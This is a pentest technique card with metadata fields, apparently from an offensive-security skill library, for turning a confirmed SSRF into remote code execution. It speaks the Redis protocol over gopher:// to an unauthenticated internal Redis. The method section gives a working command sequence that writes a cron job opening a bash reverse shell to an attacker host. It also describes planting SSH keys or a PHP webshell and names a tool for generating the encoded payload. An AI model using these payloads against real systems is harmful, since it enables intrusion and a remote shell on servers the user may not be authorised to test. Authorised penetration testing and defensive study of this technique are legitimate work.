web-ssrf-gopher-redis-rce

name	web-ssrf-gopher-redis-rce
description	Turn a server-side request (SSRF) into RCE by speaking the Redis protocol over gopher:// to an internal, unauthenticated Redis — write a cron job, an SSH key, or a webshell. Load when: SSRF is confirmed (URL fetch, webhook, PDF/URL preview, image proxy) AND an internal Redis/6379 (or similar line-protocol service) is reachable. Authorized targets only.
domain	web
type	technique
stability	learning
modes	["pentest","bugbounty"]
severity	critical
owasp	["A10:2021-SSRF"]
cwe	["CWE-918"]
mitre	["T1190"]
schema_version	1

SSRF → internal Redis → RCE via gopher://

When it applies

• You have a confirmed SSRF: the app fetches a URL you control (webhook, "import from URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow gopher:// (curl-backed fetchers commonly do).
• An internal Redis is reachable from the app host (127.0.0.1:6379 or a Docker service) and is unauthenticated (default) or you know the password.

Why it works

Redis speaks a simple newline/inline text protocol. gopher:// lets you send arbitrary raw bytes to a TCP port, so you can pipeline real Redis commands through the SSRF. Redis can write files (CONFIG SET dir + dbfilename + SAVE), so you overwrite a file that gets executed: a cron job, ~/.ssh/authorized_keys, or a web-root PHP file.

Method

1. Confirm SSRF reaches Redis: point the SSRF at gopher://127.0.0.1:6379/_PING and look for +PONG behaviour / no error (or a timing/response difference).
2. Pick a write primitive based on what the Redis user can write:
   • Cron (Redis running as root, Debian/Ubuntu): write to /var/spool/cron/crontabs/root or /etc/cron.d/x a reverse-shell line.
   • SSH key: write your pubkey to a user's ~/.ssh/authorized_keys (dir=/root/.ssh, dbfilename=authorized_keys).
   • Webshell: if you know the web root, dir=/var/www/html, dbfilename=shell.php.
3. Build the Redis command sequence (example — cron reverse shell):

   flushall
   set x "\n\n*/1 * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n"
   config set dir /etc/cron.d
   config set dbfilename runme
   save
   

4. Encode to a gopher URL: each command as a CRLF-terminated line, URL-encode (%0D%0A between commands), prefix gopher://127.0.0.1:6379/_. Use Gopherus (gopherus --exploit redis) to generate the payload correctly — hand-encoding is error-prone.
5. Deliver the gopher URL through the SSRF sink; start your listener; wait for cron (≤60s) or use the SSH key / webshell immediately.